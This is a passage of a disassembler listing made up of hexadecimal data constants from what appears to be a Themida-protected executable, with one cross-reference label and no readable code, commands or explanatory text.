		dd 4C4CE7A6h, 0ABCA1083h, 0F5DFA14Bh, 3D8C2A91h, 5899B457h
		dd 669FCF6Ch, 2C4149A8h, 5C9E65Eh, 0FB63A43h, 8C57CA12h
		dd 0BEE4CFA8h, 54F363D8h, 0FEF5C378h, 27F73BBEh, 1D6BB77Ch
		dd 834A64A9h, 0B0D7C223h, 0D9EFE513h, 0EFBC8588h, 0AEF360Dh
		dd 907F721h, 15C18FE9h,	0E796C5Dh, 9D5F70BBh, 0AB64BE42h
		dd 0DBC5DD65h, 56C3A29Ah, 0B10F923Bh, 97AC2E41h, 4C61FFE4h
		dd 3E80AE6Eh, 0FD3928B9h
		dd 0D98504Ch, 7CEC4BECh, 937B802h, 7F313C21h, 0E907A468h
		dd 0C6B17F27h, 86322038h, 3DCD292Ch, 20498301h,	0AEAD5907h
		dd 0CB57DDCh, 0E98990BBh, 51BD976Ah, 0CAE4CB7Fh, 9316818h
		dd 9216F5EBh, 462D0B27h, 10C2121Fh, 60937955h, 0F7058C65h
		dd 2DFD95Ch, 6CADBC33h,	0AAF1C301h, 4C207DB5h, 56F71F02h
		dd 0BAAD8295h, 0C55D05E2h, 161BBD2h, 88014498h,	212F61D4h
		dd 0D528E46Dh, 38E9E0EDh, 0EDC16166h, 0C2912530h, 4F822512h
		dd 0DDC41F3Eh, 0CA112A01h, 3E6C10Dh, 1834B530h,	1E170A23h
		dd 1E25A5D7h, 0C0E2D890h, 10632D06h, 0D0A033D3h, 0B428588Dh
		dd 0D7009C61h, 2D15F51Eh, 0B0D27BF8h, 1D8520EEh, 0FB80295Fh
		dd 254E79EDh, 0C25F55F5h, 5E08058Ah, 0E84B79A2h, 4D98F4B6h
		dd 1E8F974Fh, 0F28808E9h
		db 0A7h, 12h, 7
byte_4F212B	db 0B9h			; DATA XREF: Themida_:loc_562C84o
		dd 3DA6585Ch, 0C86627DCh, 1E19F1DCh, 0CA4F7114h, 0BBBCA9B4h
		dd 8CBDD812h, 75025C4Bh, 0F787799Bh, 0A9C7A296h, 355BE8A0h
		dd 78641D7Bh, 22A14E1Ch, 59E91681h, 59B33FA9h, 685B5F80h
		dd 18971A6Ch, 5014E357h, 74E8BAD2h, 2A4E1706h, 0BD9F017Fh
		dd 0E4A70769h, 6DFB9BE9h, 615427C1h, 8E905BB7h,	73A48B9h
		dd 52A13C8Fh, 574AFB3h,	6CAEBB2Eh, 71B8D5h, 453D4BB2h
		dd 9F95C9E9h, 7B611D49h, 0FCAB2CC4h, 0FD21B9C3h, 0D1018222h
		dd 6853515Ah, 45A0CF13h, 0F300815Bh, 3C3B7F79h,	4BE9DBF7h
		dd 6F56F15Eh, 75679DCAh, 0E189ABB7h, 0B001E1F0h, 23B35356h
		dd 0E042D3F6h, 29D0D5FBh, 9C04624Ah, 82BA8899h,	53800240h
		dd 57C52ACBh, 14FBEC1h,	0A02F0A5Fh, 1312A5E5h, 5DC13D12h
		dd 0E27FCCAAh, 219185A1h, 0F5C0E7B8h, 5F5C4B4Ch, 0AB22E918h
		dd 1A0FEF33h, 68774A73h, 0F57CE00Bh, 0E7EEFF44h, 54B57203h
		dd 8EC188B9h, 315FF63Dh, 25C395F8h, 4C986A71h, 68161435h
		dd 0B8A04820h, 0F6E91857h, 25F5E5AAh, 0C07E8E12h, 0D6E6B2AFh
		dd 2BBD99ABh, 2DE9DDE0h, 96CB8C29h, 89461BB9h, 0FD315E0Eh
		dd 54561C10h, 0BB5C4B0h, 60C9DE87h, 0F638B753h,	4BC4DF6Dh
		dd 966FF66Bh, 0A99188A2h, 81F8FD4Bh, 0CCF4425h,	21150D0h
		dd 0E94837E8h, 0C455A3FCh, 680209B2h, 8A7622EAh, 8399C6h
		dd 0C73D0BB9h, 0C2F9BF40h, 609D3874h, 9DAE0D2Dh, 92492274h
		dd 0CAE855B0h, 0E92FEA29h, 75E78B53h, 4BD5F489h, 90CBFE73h
		dd 33261468h, 0F310EE1Bh, 5B1667CCh, 0A381A104h, 0C25E308h
		dd 545AD8DBh, 0B0C9643h, 5F72C6BFh, 26D7FA76h, 52ED98BAh
		dd 0C1142CCh, 0D0353C5Fh, 0C91C2B9Eh, 79C4A60Bh, 5E5ADA95h
		dd 161F8432h, 6DCAEBFCh, 408D8984h, 200FAFC5h, 9DC8F62Bh
		dd 3EF2BC68h, 79D27217h, 0EF4414C0h, 80F7794Dh,	9E12141Ah
		dd 20984A0Dh, 0A2364BFCh, 31EB4AF4h, 2B446824h,	5B13638Bh
		dd 4A9E90A8h, 315DC622h, 0C25E60B4h, 4ED6F539h,	263BD23h
		dd 0D48B21F7h, 925B613Bh, 0FE6858DCh, 888EB0FDh, 0F3E9C508h
		dd 8E047D6Dh, 0C205F079h, 80002750h, 7A285EEDh,	8CD925E8h
		dd 9C580922h, 249BED77h, 0C9D8872h, 9CE3C3Fh, 8205AC6Eh
		dd 9876CC4h, 71964BD0h,	65B8127h, 9B0310D2h, 38E90D4Ah
		dd 0B8CA4517h, 8D91A580h, 0FE01DBB0h, 0B8982FCDh, 9DC6F486h
		dd 90901B70h, 8D90704Bh, 5E7C39EEh, 20F580FFh, 675F470Fh
		dd 0CD018B85h, 73E01772h, 5DC6B404h, 0B269D8B5h, 9D5F4F32h
		dd 58453FE7h, 44EEB8E9h, 0AA8C6811h, 5AF511F5h,	0C8573664h
		dd 0D00B1D26h, 4E495AEAh, 4E4012E7h, 57E44273h,	911BDAFh
		dd 6C116803h, 0CC1C097Dh, 0CA07F149h, 0EA8FB95Dh, 16E8BD37h
		dd 830108EFh, 0A8B23EDCh, 0C6C5A47Ah, 232F5BF2h, 9334A18h
		dd 4DD70208h, 98B4562h,	8A07C138h, 0B51688FFh, 5BDD9000h
		dd 0E659EB30h, 0EC80ECDAh, 0D32804E1h, 0C872E4E9h, 4C008E04h
		dd 0D6B86629h, 4A992CC1h, 7A99BE31h, 0ED824744h, 0A5A54D9h
		dd 1CD4CB8h, 2614BE41h,	5EFEFE49h, 1A7BBD01h, 0F86B04B7h
		dd 0CD879D7Eh, 72D43AF9h, 2D4CF5C1h, 22247EE5h,	0CA429529h
		dd 25E09AFBh, 1D651DFFh, 0CB7A0518h, 2C8A4EEFh,	0E0391DC3h
		dd 8EC6095h, 0F7010364h, 0E18141D1h, 10967B88h,	5DDD0CDFh
		dd 0C1017EDFh, 52DFE260h, 1D40853Eh, 6609C0C0h,	58C22142h
		dd 50236F3h, 0C7083CBEh, 0F3CE81FFh, 8EB12B9Eh,	0B4FEA93Ah
		dd 0D95A73B9h, 3B7921A7h, 17BAECCCh, 6A429ABh, 4DD64E81h
		dd 230BCE04h, 0BD8019B7h, 636D5443h, 0AFE66406h, 4CD84F9Ah
		dd 0D498D9E6h, 0A37F4609h, 0B13EFF29h, 2B5DE92Fh, 0CE8577Dh
		dd 795A6851h, 8C064EF6h, 0F249F42Bh, 0D596FF2Dh, 58C14EB0h
		dd 2060534Bh, 0B7A96640h, 0BA026458h, 4F3A0EF9h, 81A8E031h
		dd 28C318C9h, 7C1E0BCh,	8040971Ah, 0EC4AFFF8h, 10737BFFh
		dd 0E781128Ah, 0AA3B12AAh, 70E8D401h, 35601A08h, 40C35A2Bh
		dd 5400729h, 6100B8D2h,	3FC78168h, 7648187Fh, 0CC68CD29h
		dd 5D320C9h, 4D27E590h,	0E9835194h, 0C0E96CB8h,	0F695E192h
		dd 0C2025953h, 0C17AE15Ch, 0A32FB031h, 61C60007h, 0F7793035h
		dd 0DA6BB5D6h, 42ACE098h, 0CA02AF5h, 0A7434EB2h, 8E2D7B8Fh
		dd 3C73C2h, 391664C6h, 351D0905h, 9C436D5Dh, 0D03C8452h
		dd 140E1871h, 0DA595099h, 6D14BB00h, 0D90961C1h, 0AFE55B5Eh
		dd 3544DCE4h, 81127111h, 50BD4B1h, 0CEE52181h, 30628802h
		dd 6F9E4261h, 313F8ECBh, 0FE48E700h, 3EFC0C7h, 22F0F0A2h
		dd 560BBF07h, 0DAA230CDh, 15D090Eh, 876EAC58h, 0A04ACF3Ch
		dd 0C113C474h, 210144A8h, 78BE2D82h, 4080C840h,	2F557F6Fh
		dd 756806E5h, 15104C74h, 50DD0168h, 0A1BD4E8Ch,	38357D92h
		dd 0E7F95A75h, 0EFA44E84h, 4B8811E4h, 257AF803h, 137C2789h
		dd 79DFD4B9h, 0C0C53128h, 0B53851CBh, 66106710h, 9BCC86A9h
		dd 38DA7606h, 0DD73ABC3h, 66F76010h, 1AC14B9Dh,	84049EA9h
		dd 8EE7C16Fh, 330B6EEBh, 59A574DCh, 575D002Ch, 0DDE93A53h
		dd 8B05BA40h, 4A223D67h, 49EAED13h, 1085C8CEh, 0FA665782h
		dd 0CA5EF2Dh, 15BF1421h, 0CAA520C3h, 0AD205F4Bh, 0B25D7539h
		dd 0F12B0473h, 0AECDE94Ch, 0A482C937h, 8B4CDD88h, 0B35676F4h
		dd 302D79A5h, 45755115h, 6FF3BF59h, 92E1B993h, 3CD7B80h
		dd 0FF6A40BEh, 0B5008694h, 4EF8019h, 0B1F0E728h, 82C80BDh
		dd 70FF5A5Fh, 3786E9A6h, 2C581A8h, 0A796F3B5h, 0F6AFB855h
		dd 19E927F9h, 0B2522C60h, 412AFC5Ch, 49566F85h,	0D119101Eh
		dd 2FEDBF11h, 0D02B3BEDh, 76542CDEh, 47C5C4Ch, 0E9E1E4Ch
		dd 41C84F80h, 4B6D98F5h, 0B221A8D7h, 9354561Ch,	0C9FDFD5Eh
		dd 27C9DEA0h, 886A96E5h, 0D27E985h, 39D7EF20h, 0F9255BF6h
		dd 0F0CCC925h, 0A835A0B2h, 49899321h, 0D1572442h, 617B03EBh
		dd 3830712Eh, 0EE448385h, 56C7247Fh, 106600F0h,	4F35692Dh
		dd 209B6C13h, 97A0211Eh, 224A05F4h, 0D8565512h,	842838EAh
		dd 0D7CE165Bh, 75E8257Eh, 4F899345h, 0C0BE6C87h, 2CB2B530h
		dd 3F98E931h, 0D85B38C9h, 2F2DE933h, 0B4E36484h, 7E0986B4h
		dd 880143BFh, 0E958BEA4h, 0C1DC613Ah, 0CB52A1C1h, 0FA842E4Bh
		dd 935F080Fh, 587FD5B2h, 25309811h, 0F6CC860Eh,	5508D16Bh
		dd 0A8DD0A6h, 0EC1DCF6h, 58E188C7h, 1D75E9F4h, 4B6EB450h
		dd 0BADA8909h, 2514BC20h, 9DC22959h, 61180961h,	550C8411h
		dd 0D7FA3B4Dh, 0DE2DD822h, 90EA825Eh, 0F59A79h,	0D36286F4h
		dd 0CA293464h, 0E908022Eh, 0DAF25C8Ch, 889AB509h, 0B78C80ECh
		dd 98E7303Eh, 651730ADh, 7A522D25h, 50BCF5F3h, 1BA6E5E0h
		dd 279363Bh, 0B0A242EDh, 0F62F43DDh, 0C4585C22h, 42F96882h
		dd 20BD97F1h, 0E1801CB1h, 9C1D717h, 398EB228h, 2B966C09h
		dd 2E684AC2h, 14DEEC10h, 0BF1676C6h, 0C2EA6B17h, 0B4401539h
		dd 895B593Fh, 19B34FFh,	0C9186D88h, 5D0A3E73h, 0D02D08EAh
		dd 4A580034h, 0E9411FE7h, 0A5C7A27Bh, 2C8368F7h, 0E37D3CD0h
		dd 4D181B15h, 13A7573Ch, 7302E289h, 0F175F712h,	69F0826Ah
		dd 0A8C018C7h, 0F41D0778h, 8165E919h, 2DF1686Ch, 0AF2F7472h
		dd 975490D5h, 0A5F1B1A0h, 329A1977h, 0AB4B497Ch, 8865392Bh
		dd 4BA402C7h, 597FDDF7h, 24CD24F7h, 96D3A795h, 0F046F5CBh
		dd 98C4784Bh, 2411ECAEh, 68891859h, 2FF7DAB9h, 7BDACF1Fh
		dd 32BEFB4Eh, 0F3FFD9EAh
		dd 3810A77h, 0AF5B134Ah, 1C23B38Ah, 2C685382h, 828AF16Bh
		dd 2941BEFh, 0D5D9CAFDh, 52BA22B3h, 69C107h, 4C65F10Bh
		dd 0B45A4EA3h, 53181D3Bh, 0F61C401Ah, 0F4932C6Dh, 95590BD0h
		dd 58E97A82h, 564B76D8h, 0FF2781A6h, 81F320FDh,	75DC6FF6h
		dd 92ADFAC1h, 0EB7EB18Ch, 0B46C2705h, 8D411CC6h, 639B02Eh
		dd 0A780054Fh, 3E214C4h, 227F350Eh, 0BE866A4h, 21062C6Dh
		dd 710A3C25h, 77B2D40h,	0B3B30725h, 78EB4A21h, 3AF5EC33h
		dd 50A0C1ACh, 0C64B6AE9h, 225D38FBh, 6A7944Bh, 96C4E24Ah
		dd 3A233DAFh, 0BC664DD9h, 3984BA02h, 0D6893E29h, 0ECBD9350h
		dd 0E7C0BC5h, 8EE56973h, 5C85E905h, 0CF9498AAh,	2F9094Bh
		dd 6BC8E9A1h, 1EC4FEF4h, 89E62872h, 0CDAFB159h,	0C5BCD116h
		dd 91BE00B0h, 30962E78h, 43D61751h, 0D5F65AA9h,	326DC3C5h
		dd 778D5F40h, 0E41BBE1Eh, 9CA1EC8h, 6D505F5Ah, 3581EFB1h
		dd 3BBA154Ch, 2C50020h,	0C11B6939h, 0B1C006E6h,	68809D31h
		dd 83163917h, 0C0C64FFAh, 5152ACC6h, 5379B107h,	0DA22CB88h
		dd 6106FC5Bh, 3CDBF280h, 16CA19AFh, 0EAECA106h,	873BE34h
		dd 5018897h, 2AFE2089h,	5EB0CA6Fh, 41E0FAE4h, 0C2A460B5h
		dd 22AC2B4Eh, 6A828A9Fh, 0E8298BBFh, 2BD72207h,	1819C806h
		dd 0C43FBB4Ch, 0A2EFF0FDh, 0C9BFD2C7h, 0DB88009Fh, 48900267h
		dd 0D98D4E2Dh, 0C3826BEAh, 0A94A3CE9h, 4ABDD95Dh, 0FC46B162h
		dd 6E342F3Ah, 0EFA994ABh, 301F2F88h, 0E93F69E5h, 0C79C8911h
		dd 7BB529C4h, 0D3BAF32Ah, 57C0EAB8h, 122DB1BFh,	81474D00h
		dd 633C7DC7h, 0B263B57Bh, 57481201h, 0F801DE2Ah, 0CF41B570h
		dd 2D20C0D9h, 0D97E285Fh, 8078D995h, 0D12FBACEh, 3727686Bh
		dd 2FEC67h, 29158820h, 0D306E9DEh, 0CA0995B2h, 503B462Bh
		dd 0E90780BAh, 1D5496FBh, 0F0D29643h, 561FB63Bh, 0E5D7F328h
		dd 0CE899047h, 5C6D5D72h, 6FF6693Bh, 854F2090h,	0E044EA78h
		dd 45CD99F7h, 42628400h, 0F5E19F6Eh, 2AE33BC2h,	273AEA16h
		dd 1AB8F20Ah, 32766801h, 1734316Fh, 0E204016Eh,	80C21762h
		dd 215ABCC3h, 0A0539A27h, 5619CF18h, 6FD2BD2Eh,	0EA333C05h
		dd 20C92D46h, 0D405F02Eh, 0BD010E96h, 281B0E9Fh, 0F582E2E8h
		dd 64F6FCEEh, 798BBCC1h, 158F8900h, 1AD22DFBh, 2C6ABF2Fh
		dd 0A1E90702h, 1BD8146Ah, 45417C41h, 30014606h,	5CD02EF0h
		dd 9D602368h, 0C142A2EEh, 7EFF680Bh, 0CE673E76h, 27E26CE9h
		dd 96228A29h, 7957C808h, 2F2C0BC2h, 7B9376F1h, 0A9B74781h
		dd 4175CF7Ch, 7CD0600Eh, 43602C2Fh, 9B5AA3AAh, 0C7BB85B4h
		dd 2B20A9D0h, 5E0B2F0Dh, 0E420DCCBh, 0AA80F02Eh, 23E0D5D6h
		dd 0FF46FD8h, 14C8B84Ah, 6862668h, 0EAA38809h, 602D5027h
		dd 2FC634EFh, 681258D6h, 78B30647h, 0B3369B01h,	93C7293Ch
		dd 36DE58FBh, 11EF8101h, 6168C838h, 8AF1FFAEh, 0FF268067h
		dd 49A5E52Dh, 0FEE9193Ah, 2B5E8ACFh, 51FF00EAh,	5A54952Ah
		dd 1F553AC0h, 0FB31D022h, 0AE6BB243h, 6AFAB570h, 8368020Ch
		dd 960DD965h, 60C68181h, 3A75AE12h, 4D34DBCh, 0B7C533DBh
		dd 0F9350A3h, 0F5C73DC0h, 976B6865h, 8828ADAh, 6115DC55h
		dd 0ACA56DE9h, 53C6E8Fh, 173D20F9h, 353374C0h, 2957487Eh
		dd 7F8FF704h, 840EE25h,	0B95FF2C3h, 12A0912Ah, 160E5693h
		dd 7BE40046h, 811C146Bh, 1C39E14Ch, 0BD475585h,	0CC24FCAh
		dd 80106221h, 0E66191F4h, 19E6B765h, 72E4B4C1h,	0AA20279Fh
		dd 407582D1h, 0F6682EAEh, 0B54E7134h, 2F52C7C1h, 0CB54BB0Eh
		dd 825A58C0h, 7D6490C7h, 3EE914Fh, 79DC304Ch, 6CD41CF2h
		dd 92D7D60h, 0FFFA9834h, 1684F110h, 12668B58h, 61FEE090h
		dd 93AD2F77h, 1806EF29h, 9C42901h, 0E8C655C1h, 0E3E72A84h
		dd 1B96424Eh, 0B03B06C8h, 4BA02F21h, 573E516h, 378C2108h
		dd 0CAA36B3Dh, 281F6809h, 12926CF1h, 3DE92942h,	452C8170h
		dd 0A961E30Bh, 3D90F705h, 9F729868h, 0A4468FDCh, 0D0E60431h
		dd 8006031Ah, 25408D5Ah, 0D4E89A0h, 212FFC16h, 1D442714h
		dd 44CB2393h, 82E1F601h, 0BCB4151h, 9FDB98Bh, 5A25E64Bh
		dd 0AE1212B0h, 0F12F4E29h, 4268FC02h, 0EABA5202h, 620B6C35h
		dd 16727444h, 0FF9ABF54h, 97209458h, 9E5FB93Ch,	6E934261h
		dd 6C39CFE1h, 9817C4h, 141EE3BBh, 15849737h, 0EBD6B4C9h
		dd 7B982AE5h, 6840BF5Dh, 1A256855h, 11F183Eh, 0D12880B6h
		dd 0FC18013h, 5209F6CAh, 0DF8DB6h, 6B353B3h, 0C7EB2580h
		dd 0C0B92EE9h, 0D8E92CC8h, 6027E93Fh, 0A8D77150h, 70910AA4h
		dd 0FEA5209h, 3BCA0FFEh, 666A00C4h, 0CE296B0Ch,	53246092h
		dd 0C500DDC4h, 21AC4AE7h, 0E4ED78D1h, 464C1855h, 9C730C20h
		dd 0E9916509h, 0CA1EC2B1h, 2ED3FD4Fh, 0E416DF69h, 0FD0C7AB1h
		dd 1C2312Dh, 0EDDEDFF9h, 7F5AD089h, 7680E7E1h, 10AA344Ah
		dd 0D6C0FD01h, 26F7691Bh, 978BE6E9h, 89C960FEh,	510C684Bh
		dd 80CE04B1h, 0B828A5F1h, 4D80126h, 81F3E96Bh, 79F05D3Eh
		dd 0DF22AC07h, 738BD914h, 0F3BCE857h, 4CF6F6CFh, 0DD205438h
		dd 0CBAB53B5h, 1D08445Bh, 7405017Eh, 7BEF8671h,	0F4EFB3C4h
		dd 92301EE9h, 320A0C18h, 8F3953F3h, 0ACA34C20h,	37CD23D0h
		dd 0C280C79Eh, 11BE6927h, 50CA7829h, 35E908EAh,	0F0C38665h
		dd 1041523h, 0E1D14BAAh, 5ED44EE5h, 2F73062h, 23405A22h
		dd 6EBB4195h, 900F8FCCh, 6AFF2789h, 3A9D8F1Ch, 0D192C2EEh
		dd 7B846997h, 0E2ECE402h, 293E8CEBh, 0C941C4C2h, 167D4A10h
		dd 1CFAFEEEh, 7B01663Bh, 9FD5E90Bh, 76425471h, 23000B7Ch
		dd 4CE2807Ah, 8639EAE6h, 5407A7C0h, 0BCB8BC92h,	9CD5D52Fh
		dd 86FFA1DCh, 9751B93Ah, 3518A0ACh, 0C72D1AC0h,	0DB70A609h
		dd 0EE6AA031h, 5C522838h, 0BE264B6Dh, 9267A3F3h, 2C07BA28h
		dd 0F56721C5h, 5A54ED57h, 53D70BEBh, 0A9D7D387h, 454E94DAh
		dd 733020B5h, 147B00DDh, 4BF78128h, 2E484D2Ch, 0A9A4005Ah
		dd 0C1E945E5h, 0B7599D89h, 9534EA05h, 5318E0AAh, 4C85BB05h
		dd 0F00140D9h, 0E4D8CCDFh, 82C81060h, 0B3686740h, 817D6F5Dh
		dd 69570E64h, 0D2A0B46Fh, 0EEDEF804h, 0F6E8C309h, 0BEF34736h
		dd 909C0B20h, 6C601C28h, 0B9D0E7A6h, 3B4C1BFCh,	5AA781DBh
		dd 0BE40132Fh, 603817C0h, 77E7CC46h, 292C1634h,	43136DDFh
		dd 9FC249A4h, 0AC56C789h, 47080630h, 73E70681h,	405A111Ch
		dd 56630402h, 788EE90Eh, 0EE545BA1h, 0E92F3339h, 0BCE9A0CEh
		dd 85AFBF23h, 0CD13AA33h, 0DE14F2F8h, 370320BAh, 476C2826h
		dd 818746E1h, 56AACE19h, 0F6D81AB3h, 17FE90BCh,	0CAF1895Fh
		dd 8BD4AB9h, 34217E16h,	1BE7EB73h, 55CDEBD2h, 65582725h
		dd 62449553h, 1EA743B7h, 0D2441FCAh, 7F70012h, 31302595h
		dd 5C5ACB77h, 0F37567C7h, 0BF6661AFh, 7FA86B7Bh, 0FA635AC5h
		dd 51B85E31h, 1CDFD207h, 0E972BCCCh, 0ABB6E40h,	785E1A63h
		dd 63782DEEh, 50F70127h, 2B372729h, 0FF6BBAFCh,	82119389h
		dd 27C68C8h, 0DA2E281h,	0EACFC0D7h, 0CAC90218h,	7FD3E9ECh
		dd 1C887D0Bh, 0A075171Ch, 459F87CCh, 0E9520374h, 0C024741h
		dd 2CB617B7h, 82D14330h, 9FFDE4F0h, 53B7307Ah, 0AB5E27FCh
		dd 2F3BDC70h, 8BF16BE2h, 6561D62h, 42F02EF7h, 609A5A54h
		dd 0D2B91548h, 0E9822FECh, 0D7545812h, 71A83E4h, 88B5855Fh
		dd 0A63EC7A1h, 392344A8h, 0DF2D0F48h, 0D450EED5h, 6C21641h
		dd 1A9BAC90h, 2F68984Ch
		dd 656754FEh, 0E97C2127h, 3424AC85h, 516CB8CFh,	0ED7AC584h
		dd 0F2D1E223h, 63F707C5h, 6FD786A7h, 7B56C59Eh,	3A04FE2Ah
		dd 9A1E3FEDh, 950941BEh, 0D00BE6F8h, 741E3BE9h,	8E688139h
		dd 7A26D404h, 9C30228Dh, 0E919C38Ah, 0AB8412E8h, 85E559ACh
		dd 5A9EF8A1h, 5EB1A5BCh, 31247AF5h, 109F5FBh, 3B66ADFEh
		dd 0E34CE79Ah, 0EDB3124Eh, 3364E598h, 0AEC26C4h, 0F6CBFE07h
		dd 1FC345D3h, 0B27D6789h, 54E809C9h, 0BDF800E6h, 0CD310616h
		dd 0A0DFE912h, 9AD5C8FEh, 0C8327A4Eh, 1B89DDE1h, 9592ECF7h
		dd 2D4043D8h, 2950585Ch, 9D282579h, 0C10BE45h, 703E3B51h
		dd 0F931BA99h, 0C505781Ch, 0BDBA401Bh, 6858E090h, 0EC0B9F7Ch
		dd 0F8A00965h, 0B579D20Bh, 59FE25h, 32DC681h, 0B2983306h
		dd 0AC4BC20Ch, 4E15187Eh, 77818220h, 971D5AF4h,	6D74808Ch
		dd 0E5C13145h, 6004F544h, 0E9253E8Dh, 473FA53h,	4C6369BAh
		dd 9531FB29h, 3BC0C2F1h, 46F0B522h, 0DE163F90h,	0A2153511h
		dd 9FAC5FE5h, 0AD3C5C13h, 18089624h, 9CB20EBh, 1E092094h
		dd 0A1E3B7Eh, 1D602118h, 724E2403h, 0FAF0209h, 0DDE173C6h
		dd 94E84B7h, 28FA1C4Fh,	0F72668F6h, 0E06B3E4Ah,	8628231Ah
		dd 855ABE38h, 0D6F775BBh, 0E3B0EDB8h, 94EC14Eh,	40AAB8B0h
		dd 430FB89Dh, 4A796847h, 149A036h, 2F08EEB6h, 4EA82320h
		dd 16AFA683h, 45B33023h, 0E918F44Ah, 1FBC952Ch,	24A27FA5h
		dd 58027896h, 0A7954850h, 594E253Bh, 72011DCh, 124C584Ch
		dd 784ACD12h, 4189149h,	829CC016h, 700BC2C6h, 0F60F874Ah
		dd 2459869Ah, 98A00C8Ch, 25146911h, 41B6F101h, 0D5912F08h
		dd 0F701F6ACh, 9A4830DFh, 0B14AB975h, 0DC2A33A1h, 520897D6h
		dd 0A0296591h, 91EB108h, 0BA75FE6Ch, 0FFB255B8h, 90DFF157h
		dd 3CFE24E9h, 9C1A75A7h, 0FD76C257h, 6E5BBEB1h,	0BB2E773Dh
		dd 3A2D9139h, 5EC2A210h, 4A31DBAh, 0E23A5268h, 775A7AE9h
		dd 2ADD2DBBh, 0C19CB984h, 387E9744h, 0AB685BC0h, 0AD3BE155h
		dd 0FC49DFB1h, 87423070h, 7FE5093Bh, 4955CB29h,	0B53BBE88h
		dd 790FE8C6h, 57E4897h,	0CFF3C04Eh, 702C23F2h, 37D6B5F6h
		dd 0DA651C83h, 399FA99Ch, 0BB605448h, 6997953Bh, 417AA130h
		dd 0E908137Fh, 33C6491Bh, 512ED1B0h, 6B027F82h,	98298C25h
		dd 810EEB8Eh, 82E92A21h, 3E83BAA1h, 3D00AB2h, 57EAD092h
		dd 3B4B0368h, 8B9743E2h, 64EA5A6Fh, 0ACE3EB89h,	85392D97h
		dd 45A9680Ch, 691001E3h, 755D25B2h, 0F09216EBh,	0B58E9285h
		dd 2FF3DF4Dh, 67E2BB84h, 80BC899Fh, 0E282EDF6h,	60DAF706h
		dd 4C18FBAFh, 0C20294E4h, 6D975F38h, 211F00F5h,	4F7DE9F8h
		dd 0B2277761h, 0EA5C8404h, 9D5E5470h, 7520F8B1h, 9BF82EB7h
		dd 0CA04A194h, 0C7E8BE1Dh, 561388DCh, 25EF14Bh,	8501DA37h
		dd 58ACD1EBh, 7F6E3405h, 8963A0D4h, 3CE9DD0Ch, 0FBB5C22h
		dd 1B1132A8h, 0AFC6CE45h, 0E20541A2h, 852AF65Eh, 37480427h
		dd 5CB6C14Dh, 32BC04B3h, 41AF84Bh, 4E633F7Bh, 5A272DB9h
		dd 20BBAA61h, 4C24C659h, 0E102CB55h, 7E40D652h,	7063335h
		dd 0F465A405h, 0EEC5B337h, 28F19D20h, 0B8704814h, 0B5D1910h
		dd 17F83ADh, 7E840FA1h,	0C60B0132h, 710776DEh, 83806901h
		dd 6B64742Ch, 0B54C7897h, 333ABAC0h, 0C6B8025Bh, 15575527h
		dd 0B82AE51h, 3B5DF22Bh, 2DC5FFEEh, 0DE5DC14Ah,	0A9343C06h
		dd 79C20014h, 6844D94Dh, 0A7B431B7h, 71FC5167h,	0D9350BF2h
		dd 2242B0BDh, 3ED2BC40h, 0E912F504h, 31BE1C10h,	8F9FA0AEh
		dd 0D3E8C16Ch, 26774208h, 3315BC57h, 0C22F87AEh, 599334F4h
		dd 9EF07964h, 62251D36h, 2DE7E653h, 0B3BF0AE0h,	0BB55E12h
		dd 83D7C40Eh, 0ABF7039Ah, 76281051h, 135B3B7Bh,	0DAC3B72h
		dd 0AF5AC6E4h, 0EBD2D197h, 9B4D1B9Bh, 6468091Bh, 58EE5408h
		dd 61EEEF81h, 108B90Dh,	800A0DFh, 0B782D9E9h, 0C208BF45h
		dd 75DD892Fh, 0F9C0EBF6h, 486AE62Ah, 0B9094840h, 42007266h
		dd 7932C5F6h, 5A27648h,	0A9065D6h, 4A51CF80h, 0B42AF9AAh
		dd 499D3AAEh, 2C20DD42h, 2E5A0FACh, 7EC5416Ah, 595B9069h
		dd 503E3C0h, 3013C380h,	885BD0D8h, 2010B0C7h, 43872ECh
		dd 2C747ECAh, 0B2F0D6E4h, 681370F4h, 5D89421Bh,	9BCC007Ah
		dd 88A0F280h, 0FCB7169Fh, 5A9C7EEFh, 307F28FAh,	86497498h
		dd 5E94063h, 0BA307E54h, 700C49Bh, 562C826Eh, 13212CE9h
		dd 4D8855Ah, 621FFF32h,	0A96D6E1Eh, 261C0FE0h, 515EF44Fh
		dd 0B061FFBDh, 0DF7C09E9h, 9804FA5Ah, 8CEAF676h, 455A720Ah
		dd 8B9613E3h, 9EC21D2h,	3F544EE9h, 0DC5BDD8Bh, 65135918h
		dd 0D2B12855h, 0BD6F5E3h, 9A738D6Ah, 7CC72A37h,	0C3A2DE89h
		dd 584EAAACh, 277A1CF2h, 96C873A8h, 952E15B6h, 54129507h
		dd 904A07B0h, 2A4809F7h, 8F574945h, 0DB2CE533h,	7127F9BDh
		dd 531417E5h, 4D0927Ah,	956BD468h, 2C45FE98h, 1F73BA80h
		dd 5435E518h, 1427C9D1h, 24D6E512h, 0D27D7403h,	0E8F5B013h
		dd 0D8AA0656h, 7FB1CAE9h, 0F052FEAh, 0FD6863D1h, 0A914EBBh
		dd 3F288953h, 2294D3A5h, 438D455Fh, 13F86811h, 8DD75868h
		dd 4162625Bh, 0A7C45B94h, 0F1868131h, 0F2C1417Ah, 405802B9h
		dd 9E998F50h, 88F4897Eh, 0CEBB5157h, 211C02CEh,	2B55E98Bh
		dd 7F8BDFFCh, 5B7691FAh, 45B44ABFh, 28E98453h, 5E09983Eh
		dd 38A9DD4Eh, 515C2CD6h, 1531E6C2h, 23A7F32h, 5331A05Dh
		dd 599AE951h, 8B1CBAA6h, 964C5E03h, 6871BB15h, 4A0241C6h
		dd 8EEA1A40h, 72125312h, 7E4D2001h, 3719432h, 4A6B3FECh
		dd 0EC5D40Ch, 0EA325A08h, 8A30222Dh, 0A26C132Dh, 1EC1279h
		dd 78620D7Fh, 31C37F38h, 29C5E11Fh, 9C7BE9FCh, 0FD880EA9h
		dd 0EF5CBDEBh, 0A224E52Dh, 1C57958Ch, 2E129D48h, 0D0E0D45Dh
		dd 0CE95BF69h, 0F74A7C60h, 0FE70162Bh, 0BC4A01DBh, 2A213503h
		dd 0C2B7120Ch, 8D8A4AB0h, 6B59E4C6h, 5E6FC527h,	85F19F94h
		dd 0B12592DCh, 0CCEC6A6Dh, 0D153E982h, 95584EDDh, 0CBC0E662h
		dd 449E316Ah, 0D61CE2CAh, 552F29EDh, 2F187C8Ah,	627C14DFh
		dd 50E90C83h, 0D6C8C0CAh, 651DB9CEh, 0E6816A56h, 4373790Ah
		dd 1C049373h, 803DD61Dh, 0D7A3E0Ch, 5B00A5Bh, 9C0BC46h
